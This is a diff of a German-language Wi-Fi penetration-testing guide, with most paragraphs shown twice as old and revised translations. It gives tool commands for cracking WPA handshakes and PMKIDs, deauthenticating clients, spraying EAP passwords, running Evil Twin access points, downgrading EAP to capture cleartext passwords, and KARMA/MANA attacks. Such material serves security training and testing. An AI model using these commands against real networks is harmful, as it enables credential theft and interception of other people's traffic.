Angesichts der Tatsache, dass der "PMK Name" konstant ist, kennen wir die BSSID des AP und der Station, und das `PMK` identisch mit dem aus einem vollständigen 4-Wege-Handshake ist, kann **hashcat** diese Informationen nutzen, um den PSK zu knacken und das Passwort wiederherzustellen!
Um diese Informationen zu **sammeln** und das Passwort lokal zu **bruteforcen**, kannst du Folgendes tun:
```bash
@ -285,7 +285,7 @@ john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
Bitte beachten Sie, dass das Format eines korrekten Hashs **4 Teile** enthält, wie: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Wenn Ihrer **nur** **3 Teile** enthält, ist er **ungültig** (der PMKID-Capture war nicht gültig).
Beachten Sie, dass `hcxdumptool` **auch Handshakes erfasst** (etwas wie dies wird erscheinen: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Sie könnten die **Handshakes** in **hashcat**/**john**-Format mit `cap2hccapx` **umwandeln**.
Beachten Sie, dass `hcxdumptool` **auch Handshakes erfasst** (etwas wie dies wird erscheinen: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Sie könnten die **Handshakes** in **hashcat**/**john**-Format mit `cap2hccapx` **transformieren**.
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -308,9 +308,9 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Hinweis: Da der Client deauthentifiziert wurde, könnte er versuchen, sich mit einem anderen AP oder in anderen Fällen mit einem anderen Netzwerk zu verbinden._
_Beachten Sie, dass der Client, als er deauthentifiziert wurde, versuchen könnte, sich mit einem anderen AP oder in anderen Fällen mit einem anderen Netzwerk zu verbinden._
Sobald in `airodump-ng` einige Handshake-Informationen erscheinen, bedeutet dies, dass der Handshake erfasst wurde und Sie das Lauschen stoppen können:
Sobald im `airodump-ng` einige Handshake-Informationen erscheinen, bedeutet dies, dass der Handshake erfasst wurde und Sie das Lauschen stoppen können:
![](<../../images/image (172) (1).png>)
@ -318,7 +318,7 @@ Sobald der Handshake erfasst ist, können Sie ihn mit `aircrack-ng` **knacken**:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### Überprüfen, ob der Handshake in der Datei ist
### Überprüfen, ob Handshake in der Datei
**aircrack**
```bash
@ -341,7 +341,7 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
In **Enterprise-WiFi-Setups werden Sie auf verschiedene Authentifizierungsmethoden stoßen**, die jeweils unterschiedliche Sicherheitsniveaus und Verwaltungsfunktionen bieten. Wenn Sie Tools wie `airodump-ng` verwenden, um den Netzwerkverkehr zu inspizieren, könnten Sie Bezeichner für diese Authentifizierungstypen bemerken. Zu den gängigen Methoden gehören:
In **Enterprise-WiFi-Setups werden Sie auf verschiedene Authentifizierungsmethoden stoßen**, die jeweils unterschiedliche Sicherheitsniveaus und Verwaltungsfunktionen bieten. Wenn Sie Tools wie `airodump-ng` verwenden, um den Netzwerkverkehr zu inspizieren, könnten Sie Identifikatoren für diese Authentifizierungstypen bemerken. Zu den gängigen Methoden gehören:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
@ -358,38 +358,38 @@ In **Enterprise-WiFi-Setups werden Sie auf verschiedene Authentifizierungsmethod
- **PEAP-MSCHAPv2**: Oft als PEAP bezeichnet, kombiniert es den anfälligen MSCHAPv2 Challenge/Response-Mechanismus mit einem schützenden TLS-Tunnel.
- **PEAP-EAP-TLS (oder PEAP-TLS)**: Ähnlich wie EAP-TLS, initiiert jedoch einen TLS-Tunnel, bevor Zertifikate ausgetauscht werden, und bietet eine zusätzliche Sicherheitsebene.
Sie finden weitere Informationen zu diesen Authentifizierungsmethoden [hier](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) und [hier](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
Weitere Informationen zu diesen Authentifizierungsmethoden finden Sie [hier](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) und [hier](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Username Capture
### Benutzername erfassen
Laut [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sieht es so aus, als ob, wenn Sie **EAP** verwenden, die **"Identity"** **Nachrichten** **unterstützt** werden müssen, und der **Benutzername** wird im **"Response Identity"** Nachrichten im **Klartext** gesendet.
Laut [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sieht es so aus, als ob, wenn Sie **EAP** verwenden, die **"Identitäts"** **nachrichten** **unterstützt** werden müssen, und der **benutzername** wird im **"Response Identity"** Nachrichten im **Klartext** gesendet.
Selbst bei Verwendung einer der sichersten Authentifizierungsmethoden: **PEAP-EAP-TLS**, ist es möglich, den **Benutzernamen, der im EAP-Protokoll gesendet wird, zu erfassen**. Dazu **fangen Sie eine Authentifizierungscommunication ab** (starten Sie `airodump-ng` in einem Kanal und `wireshark` im selben Interface) und filtern Sie die Pakete nach `eapol`.\
Innerhalb des "**Response, Identity**" Pakets wird der **Benutzername** des Clients erscheinen.
Selbst bei Verwendung einer der sichersten Authentifizierungsmethoden: **PEAP-EAP-TLS**, ist es möglich, den **benutzernamen, der im EAP-Protokoll gesendet wird, zu erfassen**. Dazu **erfassen Sie eine Authentifizierungs Kommunikation** (starten Sie `airodump-ng` in einem Kanal und `wireshark` im selben Interface) und filtern Sie die Pakete nach `eapol`.\
Im Paket "**Response, Identity**" wird der **benutzername** des Clients erscheinen.
![](<../../images/image (850).png>)
### Anonyme Identitäten
Die Identitätsverbergung wird sowohl von EAP-PEAP als auch von EAP-TTLS unterstützt. Im Kontext eines WiFi-Netzwerks wird eine EAP-Identitätsanforderung typischerweise vom Access Point (AP) während des Assoziationsprozesses initiiert. Um den Schutz der Anonymität der Benutzer zu gewährleisten, enthält die Antwort des EAP-Clients auf dem Gerät des Benutzers nur die wesentlichen Informationen, die der anfängliche RADIUS-Server benötigt, um die Anfrage zu verarbeiten. Dieses Konzept wird durch die folgenden Szenarien veranschaulicht:
Die Identitätsverbergung wird sowohl von EAP-PEAP als auch von EAP-TTLS unterstützt. Im Kontext eines WiFi-Netzwerks wird eine EAP-Identitätsanfrage typischerweise vom Access Point (AP) während des Assoziierungsprozesses initiiert. Um den Schutz der Anonymität der Benutzer zu gewährleisten, enthält die Antwort des EAP-Clients auf dem Gerät des Benutzers nur die wesentlichen Informationen, die der ursprüngliche RADIUS-Server benötigt, um die Anfrage zu verarbeiten. Dieses Konzept wird durch die folgenden Szenarien veranschaulicht:
- EAP-Identity = anonym
- In diesem Szenario verwenden alle Benutzer das pseudonyme "anonym" als ihre Benutzerkennung. Der anfängliche RADIUS-Server fungiert entweder als EAP-PEAP oder EAP-TTLS-Server, der für die Verwaltung der serverseitigen PEAP- oder TTLS-Protokolle verantwortlich ist. Die innere (geschützte) Authentifizierungsmethode wird dann entweder lokal behandelt oder an einen entfernten (Heim-) RADIUS-Server delegiert.
- EAP-Identity = anonym@realm_x
- In dieser Situation verbergen Benutzer aus verschiedenen Bereichen ihre Identitäten, während sie ihre jeweiligen Bereiche angeben. Dies ermöglicht es dem anfänglichen RADIUS-Server, die EAP-PEAP- oder EAP-TTLS-Anfragen an RADIUS-Server in ihren Heimatbereichen weiterzuleiten, die als PEAP- oder TTLS-Server fungieren. Der anfängliche RADIUS-Server fungiert ausschließlich als RADIUS-Relay-Knoten.
- Alternativ kann der anfängliche RADIUS-Server als EAP-PEAP- oder EAP-TTLS-Server fungieren und entweder die geschützte Authentifizierungsmethode behandeln oder an einen anderen Server weiterleiten. Diese Option erleichtert die Konfiguration unterschiedlicher Richtlinien für verschiedene Bereiche.
- EAP-Identität = anonym
- In diesem Szenario verwenden alle Benutzer das pseudonyme "anonym" als ihre Benutzerkennung. Der ursprüngliche RADIUS-Server fungiert entweder als EAP-PEAP- oder EAP-TTLS-Server, der für die Verwaltung der serverseitigen PEAP- oder TTLS-Protokolle verantwortlich ist. Die innere (geschützte) Authentifizierungsmethode wird dann entweder lokal behandelt oder an einen entfernten (Heim-)RADIUS-Server delegiert.
- EAP-Identität = anonym@realm_x
- In dieser Situation verbergen Benutzer aus verschiedenen Bereichen ihre Identitäten, während sie ihre jeweiligen Bereiche angeben. Dies ermöglicht es dem ursprünglichen RADIUS-Server, die EAP-PEAP- oder EAP-TTLS-Anfragen an RADIUS-Server in ihren Heimatbereichen weiterzuleiten, die als PEAP- oder TTLS-Server fungieren. Der ursprüngliche RADIUS-Server fungiert ausschließlich als RADIUS-Relay-Knoten.
- Alternativ kann der ursprüngliche RADIUS-Server als EAP-PEAP- oder EAP-TTLS-Server fungieren und entweder die geschützte Authentifizierungsmethode behandeln oder an einen anderen Server weiterleiten. Diese Option erleichtert die Konfiguration unterschiedlicher Richtlinien für verschiedene Bereiche.
In EAP-PEAP, sobald der TLS-Tunnel zwischen dem PEAP-Server und dem PEAP-Client eingerichtet ist, initiiert der PEAP-Server eine EAP-Identitätsanforderung und überträgt sie durch den TLS-Tunnel. Der Client antwortet auf diese zweite EAP-Identitätsanforderung, indem er eine EAP-Identitätsantwort sendet, die die wahre Identität des Benutzers durch den verschlüsselten Tunnel enthält. Dieser Ansatz verhindert effektiv die Offenlegung der tatsächlichen Identität des Benutzers gegenüber jedem, der den 802.11-Verkehr abhört.
In EAP-PEAP, sobald der TLS-Tunnel zwischen dem PEAP-Server und dem PEAP-Client eingerichtet ist, initiiert der PEAP-Server eine EAP-Identitätsanfrage und überträgt sie durch den TLS-Tunnel. Der Client antwortet auf diese zweite EAP-Identitätsanfrage, indem er eine EAP-Identitätsantwort sendet, die die wahre Identität des Benutzers durch den verschlüsselten Tunnel enthält. Dieser Ansatz verhindert effektiv die Offenlegung der tatsächlichen Identität des Benutzers gegenüber jedem, der den 802.11-Verkehr abhört.
EAP-TTLS folgt einem etwas anderen Verfahren. Bei EAP-TTLS authentifiziert sich der Client typischerweise mit PAP oder CHAP, gesichert durch den TLS-Tunnel. In diesem Fall enthält der Client ein User-Name-Attribut und entweder ein Password- oder CHAP-Password-Attribut in der ersten TLS-Nachricht, die nach der Tunnel-Einrichtung gesendet wird.
EAP-TTLS folgt einem etwas anderen Verfahren. Bei EAP-TTLS authentifiziert sich der Client typischerweise mit PAP oder CHAP, gesichert durch den TLS-Tunnel. In diesem Fall enthält der Client ein User-Name-Attribut und entweder ein Password- oder CHAP-Password-Attribut in der ersten TLS-Nachricht, die nach der Tunnelherstellung gesendet wird.
Unabhängig vom gewählten Protokoll erlangt der PEAP/TTLS-Server Kenntnis von der wahren Identität des Benutzers, nachdem der TLS-Tunnel eingerichtet wurde. Die wahre Identität kann als user@realm oder einfach user dargestellt werden. Wenn der PEAP/TTLS-Server auch für die Authentifizierung des Benutzers verantwortlich ist, besitzt er nun die Identität des Benutzers und fährt mit der durch den TLS-Tunnel geschützten Authentifizierungsmethode fort. Alternativ kann der PEAP/TTLS-Server eine neue RADIUS-Anfrage an den Heim-RADIUS-Server des Benutzers weiterleiten. Diese neue RADIUS-Anfrage lässt die PEAP- oder TTLS-Protokollebene weg. In Fällen, in denen die geschützte Authentifizierungsmethode EAP ist, werden die inneren EAP-Nachrichten ohne die EAP-PEAP- oder EAP-TTLS-Hülle an den Heim-RADIUS-Server übertragen. Das User-Name-Attribut der ausgehenden RADIUS-Nachricht enthält die wahre Identität des Benutzers und ersetzt den anonymen User-Name aus der eingehenden RADIUS-Anfrage. Wenn die geschützte Authentifizierungsmethode PAP oder CHAP (nur von TTLS unterstützt) ist, werden das User-Name- und andere Authentifizierungsattribute, die aus der TLS-Nutzlast extrahiert wurden, in der ausgehenden RADIUS-Nachricht ersetzt, wodurch der anonyme User-Name und die TTLS EAP-Message-Attribute aus der eingehenden RADIUS-Anfrage verdrängt werden.
Unabhängig vom gewählten Protokoll erlangt der PEAP/TTLS-Server Kenntnis von der wahren Identität des Benutzers, nachdem der TLS-Tunnel eingerichtet wurde. Die wahre Identität kann als user@realm oder einfach als user dargestellt werden. Wenn der PEAP/TTLS-Server auch für die Authentifizierung des Benutzers verantwortlich ist, besitzt er nun die Identität des Benutzers und fährt mit der durch den TLS-Tunnel geschützten Authentifizierungsmethode fort. Alternativ kann der PEAP/TTLS-Server eine neue RADIUS-Anfrage an den Heim-RADIUS-Server des Benutzers weiterleiten. Diese neue RADIUS-Anfrage lässt die PEAP- oder TTLS-Protokollschicht weg. In Fällen, in denen die geschützte Authentifizierungsmethode EAP ist, werden die inneren EAP-Nachrichten ohne die EAP-PEAP- oder EAP-TTLS-Hülle an den Heim-RADIUS-Server übertragen. Das User-Name-Attribut der ausgehenden RADIUS-Nachricht enthält die wahre Identität des Benutzers und ersetzt den anonymen User-Name aus der eingehenden RADIUS-Anfrage. Wenn die geschützte Authentifizierungsmethode PAP oder CHAP (nur von TTLS unterstützt) ist, werden das User-Name-Attribut und andere Authentifizierungsattribute, die aus der TLS-Nutzlast extrahiert wurden, in der ausgehenden RADIUS-Nachricht ersetzt, wodurch der anonyme User-Name und die TTLS EAP-Message-Attribute aus der eingehenden RADIUS-Anfrage verdrängt werden.
Für weitere Informationen siehe [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
### EAP-Bruteforce (password spray)
### EAP-Bruteforce (Password Spray)
Wenn vom Client erwartet wird, dass er einen **Benutzernamen und ein Passwort** verwendet (beachten Sie, dass **EAP-TLS in diesem Fall nicht gültig sein wird**), dann könnten Sie versuchen, eine **Liste** von **Benutzernamen** (siehe nächsten Teil) und **Passwörtern** zu erhalten und versuchen, den Zugang mit [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)** zu **bruteforcen**.
Wenn vom Client erwartet wird, dass er einen **Benutzernamen und ein Passwort** verwendet (beachten Sie, dass **EAP-TLS in diesem Fall nicht gültig sein wird**), könnten Sie versuchen, eine **Liste** von **Benutzernamen** (siehe nächsten Teil) und **Passwörtern** zu erhalten und versuchen, den Zugang mit [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)** zu **bruteforcen**.
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -407,28 +407,28 @@ Sie könnten diesen Angriff auch mit `eaphammer` durchführen:
- Das 802.11-Protokoll definiert, wie eine Station einem Extended Service Set (ESS) beitritt, spezifiziert jedoch nicht die Kriterien zur Auswahl eines ESS oder eines Access Points (AP) innerhalb davon.
- Stationen können zwischen APs, die dasselbe ESSID teilen, umherwandern und die Konnektivität über ein Gebäude oder Gebiet aufrechterhalten.
- Das Protokoll erfordert die Authentifizierung der Station zum ESS, verlangt jedoch keine Authentifizierung des APs zur Station.
- Das Protokoll erfordert die Authentifizierung der Station zum ESS, schreibt jedoch keine Authentifizierung des APs zur Station vor.
### Bevorzugte Netzwerklisten (PNLs)
- Stationen speichern die ESSID jedes drahtlosen Netzwerks, mit dem sie sich verbinden, in ihrer Bevorzugten Netzwerk Liste (PNL), zusammen mit netzwerkspezifischen Konfigurationsdetails.
- Die PNL wird verwendet, um automatisch eine Verbindung zu bekannten Netzwerken herzustellen, was die Benutzererfahrung verbessert, indem der Verbindungsprozess optimiert wird.
### Passive Scanning
### Passive Scans
- APs senden regelmäßig Beacon-Frames aus, um ihre Präsenz und Merkmale anzukündigen, einschließlich der ESSID des APs, es sei denn, das Broadcasting ist deaktiviert.
- APs senden regelmäßig Beacon-Frames aus, die ihre Präsenz und Merkmale ankündigen, einschließlich der ESSID des APs, es sei denn, das Broadcasting ist deaktiviert.
- Während des passiven Scannens hören Stationen auf Beacon-Frames. Wenn die ESSID eines Beacons mit einem Eintrag in der PNL der Station übereinstimmt, kann die Station automatisch eine Verbindung zu diesem AP herstellen.
- Das Wissen um die PNL eines Geräts ermöglicht potenzielle Ausnutzung, indem eine bekannte Netzwerk-ESSID imitiert wird, um das Gerät dazu zu bringen, sich mit einem bösartigen AP zu verbinden.
- Das Wissen um die PNL eines Geräts ermöglicht potenzielle Ausnutzung, indem die ESSID eines bekannten Netzwerks nachgeahmt wird, um das Gerät dazu zu bringen, sich mit einem bösartigen AP zu verbinden.
### Aktives Probing
- Aktives Probing beinhaltet, dass Stationen Probe-Anfragen senden, um nahegelegene APs und deren Eigenschaften zu entdecken.
- Gerichtet Probe-Anfragen zielen auf eine spezifische ESSID ab und helfen zu erkennen, ob ein bestimmtes Netzwerk in Reichweite ist, selbst wenn es sich um ein verborgenes Netzwerk handelt.
- Gezielt gerichtete Probe-Anfragen zielen auf eine bestimmte ESSID ab und helfen festzustellen, ob ein bestimmtes Netzwerk in Reichweite ist, selbst wenn es sich um ein verborgenes Netzwerk handelt.
- Broadcast-Probe-Anfragen haben ein leeres SSID-Feld und werden an alle nahegelegenen APs gesendet, sodass die Station nach einem bevorzugten Netzwerk suchen kann, ohne den Inhalt ihrer PNL offenzulegen.
## Einfacher AP mit Umleitung ins Internet
Bevor erklärt wird, wie man komplexere Angriffe durchführt, wird erklärt **wie** man einfach einen **AP** erstellt und seinen **Traffic** an eine Schnittstelle umleitet, die **mit** dem **Internet** verbunden ist.
Bevor erklärt wird, wie man komplexere Angriffe durchführt, wird erklärt, **wie** man einfach einen **AP** erstellt und seinen **Verkehr** an eine Schnittstelle umleitet, die **mit** dem **Internet** verbunden ist.
Verwenden Sie `ifconfig -a`, um zu überprüfen, ob die wlan-Schnittstelle zum Erstellen des AP und die Schnittstelle, die mit dem Internet verbunden ist, vorhanden sind.
@ -494,13 +494,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Ein Evil Twin-Angriff nutzt die Art und Weise aus, wie WiFi-Clients Netzwerke erkennen, wobei hauptsächlich der Netzwerkname (ESSID) verwendet wird, ohne dass die Basisstation (Zugangspunkt) sich gegenüber dem Client authentifizieren muss. Wichtige Punkte sind:
Ein Evil Twin-Angriff nutzt die Art und Weise aus, wie WiFi-Clients Netzwerke erkennen, wobei hauptsächlich auf den Netzwerknamen (ESSID) vertraut wird, ohne dass die Basisstation (Zugangspunkt) sich gegenüber dem Client authentifizieren muss. Wichtige Punkte sind:
- **Schwierigkeit bei der Unterscheidung**: Geräte haben Schwierigkeiten, zwischen legitimen und bösartigen Zugangspunkten zu unterscheiden, wenn sie denselben ESSID und denselben Verschlüsselungstyp verwenden. In der realen Welt verwenden Netzwerke oft mehrere Zugangspunkte mit demselben ESSID, um die Abdeckung nahtlos zu erweitern.
- **Client-Roaming und Verbindungsmanipulation**: Das 802.11-Protokoll ermöglicht es Geräten, zwischen Zugangspunkten innerhalb desselben ESS zu wechseln. Angreifer können dies ausnutzen, indem sie ein Gerät dazu verleiten, sich von seiner aktuellen Basisstation zu trennen und sich mit einem bösartigen zu verbinden. Dies kann erreicht werden, indem ein stärkeres Signal angeboten oder die Verbindung zum legitimen Zugangspunkt durch Methoden wie Deauthentifizierungs-Pakete oder Störungen unterbrochen wird.
- **Herausforderungen bei der Ausführung**: Die erfolgreiche Durchführung eines Evil Twin-Angriffs in Umgebungen mit mehreren, gut platzierten Zugangspunkten kann herausfordernd sein. Das Deauthentifizieren eines einzelnen legitimen Zugangspunkts führt oft dazu, dass das Gerät sich mit einem anderen legitimen Zugangspunkt verbindet, es sei denn, der Angreifer kann alle nahegelegenen Zugangspunkte deauthentifizieren oder den bösartigen Zugangspunkt strategisch platzieren.
Sie können einen sehr einfachen Open Evil Twin (ohne die Fähigkeit, den Datenverkehr ins Internet zu leiten) erstellen, indem Sie:
Sie können einen sehr einfachen Open Evil Twin (ohne die Möglichkeit, den Datenverkehr ins Internet zu leiten) erstellen, indem Sie:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
@ -508,11 +508,11 @@ Sie könnten auch einen Evil Twin mit **eaphammer** erstellen (beachten Sie, das
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
Oder mit Airgeddon: `Options: 5,6,7,8,9 (im Evil Twin Angriffsmenü).`
Oder mit Airgeddon: `Optionen: 5,6,7,8,9 (im Evil Twin Angriffsmenü).`
![](<../../images/image (1088).png>)
Bitte beachten Sie, dass standardmäßig, wenn ein ESSID im PNL als WPA-geschützt gespeichert ist, das Gerät sich nicht automatisch mit einem offenen Evil Twin verbindet. Sie können versuchen, den echten AP zu DoS'en und hoffen, dass der Benutzer manuell mit Ihrem offenen Evil Twin verbindet, oder Sie könnten den echten AP DoS'en und einen WPA Evil Twin verwenden, um den Handshake zu erfassen (mit dieser Methode können Sie das Opfer nicht dazu bringen, sich mit Ihnen zu verbinden, da Sie den PSK nicht kennen, aber Sie können den Handshake erfassen und versuchen, ihn zu knacken).
Bitte beachten Sie, dass standardmäßig, wenn ein ESSID im PNL als WPA-geschützt gespeichert ist, das Gerät sich nicht automatisch mit einem offenen Evil Twin verbindet. Sie können versuchen, den echten AP zu DoS'en und hoffen, dass der Benutzer manuell mit Ihrem offenen Evil Twin verbindet, oder Sie könnten den echten AP DoS'en und einen WPA Evil Twin verwenden, um den Handshake zu erfassen (mit dieser Methode können Sie das Opfer nicht zu Ihnen verbinden, da Sie den PSK nicht kennen, aber Sie können den Handshake erfassen und versuchen, ihn zu knacken).
_Einige Betriebssysteme und Antivirenprogramme warnen den Benutzer, dass die Verbindung zu einem offenen Netzwerk gefährlich ist..._
@ -533,9 +533,9 @@ Um diese Angriffe zu verstehen, empfehle ich, vorher die kurze [WPA Enterprise E
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie SSID, Kanal, Benutzerdateien, Cret/Key, DH-Parameter, WPA-Version und Auth...
In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie SSID, Kanal, Benutzerdateien, cret/key, dh-Parameter, WPA-Version und Auth...
[**Verwendung von hostapd-wpe mit EAP-TLS, um jede Zertifikat-Anmeldung zu ermöglichen.**](evil-twin-eap-tls.md)
[**Verwendung von hostapd-wpe mit EAP-TLS, um jede Zertifizierung anzumelden.**](evil-twin-eap-tls.md)
**Verwendung von EAPHammer**
```bash
@ -545,19 +545,19 @@ In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Standardmäßig zielt EAPHammer auf diese Authentifizierungsmethoden ab (beachten Sie GTC als die erste, um im Klartext gespeicherte Passwörter zu erhalten, und dann die Verwendung robusterer Authentifizierungsmethoden):
Standardmäßig zielt EAPHammer auf diese Authentifizierungsmethoden ab (beachten Sie GTC als die erste, die versucht, Klartextpasswörter zu erhalten, und dann die Verwendung robusterer Authentifizierungsmethoden):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Dies ist die Standardmethodik, um lange Verbindungszeiten zu vermeiden. Sie können jedoch auch angeben, die Authentifizierungsmethoden von der schwächsten bis zur stärksten zu servieren:
Dies ist die Standardmethodik, um lange Verbindungszeiten zu vermeiden. Sie können jedoch auch die Authentifizierungsmethoden vom schwächsten zum stärksten angeben:
```
--negotiate weakest
```
Oder Sie könnten auch verwenden:
- `--negotiate gtc-downgrade`, um eine hocheffiziente GTC-Downgrade-Implementierung (Klartext-Passwörter) zu verwenden.
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`, um die angebotenen Methoden manuell anzugeben (das Anbieten der gleichen Authentifizierungsmethoden in der gleichen Reihenfolge wie die Organisation macht den Angriff viel schwieriger zu erkennen).
- [Weitere Informationen im Wiki finden](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`, um die angebotenen Methoden manuell anzugeben (wenn die gleichen Authentifizierungsmethoden in der gleichen Reihenfolge wie die Organisation angeboten werden, wird der Angriff viel schwieriger zu erkennen sein).
- [Finden Sie weitere Informationen im Wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Verwendung von Airgeddon**
@ -577,7 +577,7 @@ Starten Sie nun den **Evil Twin** mit **`hostapd-wpe`** mit dieser modifizierten
Jetzt oder später (wenn Sie bereits einige Authentifizierungsversuche erfasst haben) können Sie den privaten RSA-Schlüssel zu Wireshark hinzufügen unter: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Fügen Sie einen neuen Eintrag hinzu und füllen Sie das Formular mit diesen Werten aus: **IP-Adresse = any** -- **Port = 0** -- **Protokoll = data** -- **Schlüsseldatei** (**wählen Sie Ihre Schlüsseldatei aus**, um Probleme zu vermeiden, wählen Sie eine Schlüsseldatei **ohne Passwortschutz**).
Fügen Sie einen neuen Eintrag hinzu und füllen Sie das Formular mit diesen Werten aus: **IP-Adresse = beliebig** -- **Port = 0** -- **Protokoll = data** -- **Schlüsseldatei** (**wählen Sie Ihre Schlüsseldatei aus**, um Probleme zu vermeiden, wählen Sie eine Schlüsseldatei **ohne Passwortschutz**).
![](<../../images/image (687).png>)
@ -587,18 +587,18 @@ Und schauen Sie sich den neuen **"Decrypted TLS"-Tab** an:
## KARMA, MANA, Loud MANA und Angriffe mit bekannten Beacons
### ESSID- und MAC-Blacklist/Whitelist
### ESSID- und MAC-Black/Whitelists
Verschiedene Arten von Media Access Control Filterlisten (MFACLs) und deren entsprechende Modi und Auswirkungen auf das Verhalten eines bösartigen Access Points (AP):
1. **MAC-basierte Whitelist**:
- Der bösartige AP antwortet nur auf Probeanforderungen von Geräten, die in der Whitelist angegeben sind, und bleibt für alle anderen, die nicht aufgeführt sind, unsichtbar.
- Der bösartige AP antwortet nur auf Probeanfragen von Geräten, die in der Whitelist angegeben sind, und bleibt für alle anderen, die nicht aufgeführt sind, unsichtbar.
2. **MAC-basierte Blacklist**:
- Der bösartige AP ignoriert Probeanforderungen von Geräten auf der Blacklist, wodurch der bösartige AP für diese spezifischen Geräte unsichtbar wird.
- Der bösartige AP ignoriert Probeanfragen von Geräten auf der Blacklist, wodurch der bösartige AP für diese spezifischen Geräte unsichtbar wird.
3. **SSID-basierte Whitelist**:
- Der bösartige AP antwortet nur auf Probeanforderungen für spezifische ESSIDs, die aufgelistet sind, und wird für Geräte, deren Bevorzugte Netzwerklisten (PNLs) diese ESSIDs nicht enthalten, unsichtbar.
- Der bösartige AP antwortet nur auf Probeanfragen für spezifische ESSIDs, die aufgelistet sind, und bleibt für Geräte, deren bevorzugte Netzwerklisten (PNLs) diese ESSIDs nicht enthalten, unsichtbar.
4. **SSID-basierte Blacklist**:
- Der bösartige AP antwortet nicht auf Probeanforderungen für die spezifischen ESSIDs auf der Blacklist, wodurch er für Geräte, die nach diesen bestimmten Netzwerken suchen, unsichtbar wird.
- Der bösartige AP antwortet nicht auf Probeanfragen für die spezifischen ESSIDs auf der Blacklist, wodurch er für Geräte, die nach diesen bestimmten Netzwerken suchen, unsichtbar wird.
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -624,7 +624,7 @@ Diese Methode ermöglicht es einem **Angreifer, einen bösartigen Access Point (
### MANA
Dann **begannen Geräte, unaufgeforderte Netzwerkantworten zu ignorieren**, was die Effektivität des ursprünglichen Karma-Angriffs verringerte. Eine neue Methode, bekannt als der **MANA-Angriff**, wurde jedoch von Ian de Villiers und Dominic White eingeführt. Diese Methode beinhaltet, dass der bösartige AP **die Bevorzugten Netzwerklisten (PNL) von Geräten erfasst, indem er auf deren Broadcast-Probe-Anfragen** mit Netzwerknamen (SSIDs) antwortet, die zuvor von den Geräten angefordert wurden. Dieser ausgeklügelte Angriff umgeht die Schutzmaßnahmen gegen den ursprünglichen Karma-Angriff, indem er die Art und Weise ausnutzt, wie Geräte bekannte Netzwerke speichern und priorisieren.
Dann **begannen Geräte, unsichere Netzwerkantworten zu ignorieren**, was die Effektivität des ursprünglichen Karma-Angriffs verringerte. Eine neue Methode, bekannt als der **MANA-Angriff**, wurde jedoch von Ian de Villiers und Dominic White eingeführt. Diese Methode beinhaltet, dass der bösartige AP **die Bevorzugten Netzwerklisten (PNL) von Geräten erfasst, indem er auf deren Broadcast-Probe-Anfragen** mit Netzwerknamen (SSIDs) antwortet, die zuvor von den Geräten als sicher angesehen wurden. Dieser ausgeklügelte Angriff umgeht die Schutzmaßnahmen gegen den ursprünglichen Karma-Angriff, indem er die Art und Weise ausnutzt, wie Geräte bekannte Netzwerke speichern und priorisieren.
Der MANA-Angriff funktioniert, indem er sowohl gerichtete als auch Broadcast-Probe-Anfragen von Geräten überwacht. Bei gerichteten Anfragen zeichnet er die MAC-Adresse des Geräts und den angeforderten Netzwerknamen auf und fügt diese Informationen einer Liste hinzu. Wenn eine Broadcast-Anfrage empfangen wird, antwortet der AP mit Informationen, die mit einem der Netzwerke auf der Liste des Geräts übereinstimmen, und verleitet das Gerät dazu, sich mit dem bösartigen AP zu verbinden.
```bash
@ -632,7 +632,7 @@ Der MANA-Angriff funktioniert, indem er sowohl gerichtete als auch Broadcast-Pro
```
### Loud MANA
